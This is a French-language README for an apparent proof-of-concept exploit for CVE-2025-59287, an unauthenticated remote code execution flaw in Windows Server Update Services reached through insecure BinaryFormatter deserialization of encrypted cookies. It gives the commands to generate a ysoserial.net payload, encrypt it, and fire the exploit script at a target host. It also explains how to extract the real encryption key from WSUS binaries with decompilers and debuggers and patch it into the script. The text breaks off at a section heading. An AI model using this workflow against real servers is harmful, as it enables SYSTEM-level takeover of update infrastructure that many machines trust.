Exploit Proof-of-Concept CVE-2025-59287

Présentation de la vulnérabilité

CVE-2025-59287 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Microsoft Windows Server Update Services (WSUS). La vulnérabilité est causée par une désérialisation non sécurisée des données AuthorizationCookie via BinaryFormatter dans la méthode EncryptionHelper.DecryptData().

Impact : Des attaquants non authentifiés peuvent parvenir à une exécution de code à distance avec les privilèges SYSTEM en envoyant des cookies chiffrés malveillants au point de terminaison GetCookie().

Score CVSS : Critique (9,8)

Détails de la vulnérabilité

• Composant affecté : Point de terminaison WSUS ClientWebService.asmx GetCookie()
• Cause racine : BinaryFormatter.Deserialize() appelé sur des entrées non fiables sans validation appropriée
• Vecteur d'attaque : Cookie chiffré malveillant envoyé au point de terminaison SOAP GetCookie()
• Authentification requise : Non (RCE non authentifié)
• Ports affectés : 8530 (HTTP), 8531 (HTTPS)

Architecture

┌─────────────────┐
│   Attaquant     │
│                 │
│  1. Générer     │
│     la charge   │
│     BinaryFmt   │
│                 │
│  2. Chiffrer    │
│     la charge   │
│                 │
│  3. Envoyer la  │
│     requête     │
│     SOAP        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Serveur WSUS  │
│                 │
│  Point de       │
│  terminaison    │
│  GetCookie()    │
│                 │
│  DecryptData()  │◄─── Vulnérable
│                 │
│  BinaryFormatter│◄─── Désérialisation non sécurisée
│  Deserialize()  │
│                 │
│  Exécuter la    │◄─── RCE en tant que SYSTEM
│  charge utile   │
└─────────────────┘

Structure des fichiers

exploit-poc/
├── wsus_exploit.py                    # Script d'exploitation principal
├── BinaryFormatterPayloadGenerator.cs # Générateur de charge utile .NET (C#)
├── encrypt_payload.py                 # Assistant de chiffrement WSUS
├── requirements.txt                   # Dépendances Python
└── README.md                          # Ce fichier

Prérequis

Environnement Python

pip install -r requirements.txt

.NET Framework (pour la génération de charge utile)

• Windows avec .NET Framework 4.0 ou version ultérieure
• Ou utiliser ysoserial.net comme alternative

Utilisation

Méthode 1 : Flux de travail complet

Étape 1 : Générer la charge utile BinaryFormatter

Option A : Utilisation du générateur C# fourni

# Compiler le générateur
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Générer la charge utile
BinaryFormatterPayloadGenerator.exe calc.exe
# Crée : payload_AAAAMMJJHHMMSS.bin

Option B : Utilisation de ysoserial.net (recommandé)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Étape 2 : Chiffrer la charge utile

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

IMPORTANT : La clé de chiffrement dans encrypt_payload.py est un espace réservé. Pour une exploitation réelle, vous devez :

1. Rétro-ingénierer la clé de chiffrement réelle à partir des binaires WSUS
2. Mettre à jour encrypt_payload.py avec la clé réelle
3. Consulter la section « Trouver la clé de chiffrement WSUS » ci-dessous

Étape 3 : Exécuter l'exploit

# Utilisation d'un fichier de charge utile (chiffrement à la volée)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Utilisation d'un cookie pré-chiffré
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# Avec HTTPS (port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Méthode 2 : Test rapide

# Générer, chiffrer et exploiter en une seule fois
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_CIBLE> -f payload_*.bin

Trouver la clé de chiffrement WSUS réelle

La clé de chiffrement doit être extraite des binaires WSUS pour une exploitation réelle.

Méthode 1 : Rétro-ingénierie avec dnSpy

1. Localiser les DLL WSUS :

   %ProgramFiles%\Update Services\WebServices\bin\
   

   Ou le répertoire web IIS :

   %SystemDrive%\inetpub\wwwroot\wsusadmin\
   

2. Ouvrir dans dnSpy (décompilateur .NET gratuit) :

   • Téléchargement : https://github.com/dnSpy/dnSpy
   • Ouvrir Microsoft.UpdateServices.WebServices.dll

3. Rechercher EncryptionHelper :

   • Naviguer vers l'espace de noms : Microsoft.UpdateServices.WebServices
   • Trouver la classe EncryptionHelper
   • Examiner les méthodes DecryptData() et EncryptData()
   • Extraire la clé de chiffrement et l'algorithme

4. Modèles courants :

   • Tableaux d'octets codés en dur
   • Constantes de chaînes
   • Dérivation de clé à partir du GUID/SID de la machine

Méthode 2 : Analyse à l'exécution

1. Utiliser WinDbg ou x64dbg :

   • Définir un point d'arrêt sur EncryptionHelper.DecryptData()
   • Inspecter la mémoire/les registres pour le matériel de clé
   • Surveiller les opérations de chiffrement/déchiffrement

2. Utiliser Process Monitor :

   • Filtrer par processus WSUS
   • Rechercher l'accès au registre/aux fichiers de configuration
   • Les clés peuvent être stockées dans le registre

Méthode 3 : Analyse statique

1. Utiliser IDA Pro ou Ghidra :

   • Charger les binaires WSUS
   • Rechercher les chaînes liées au chiffrement
   • Analyser les algorithmes de dérivation de clé

2. Utiliser l'utilitaire strings :

   strings Microsoft.UpdateServices.WebServices.dll | grep -i key
   strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
   

Mise à jour de l'exploit

Une fois la clé réelle obtenue, mettre à jour encrypt_payload.py :

# Remplacer cette ligne dans encrypt_wsus_cookie() :
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # ESPACE RÉSERVÉ

# Par la clé réelle :
key_material = b"CLÉ_RÉELLE_PROVENANT_DES_BINAIRES_WSUS"

Ou la transmettre via la ligne de commande :

python encrypt_payload.py payload.bin -k "CLÉ_RÉELLE"

Flux d'exploitation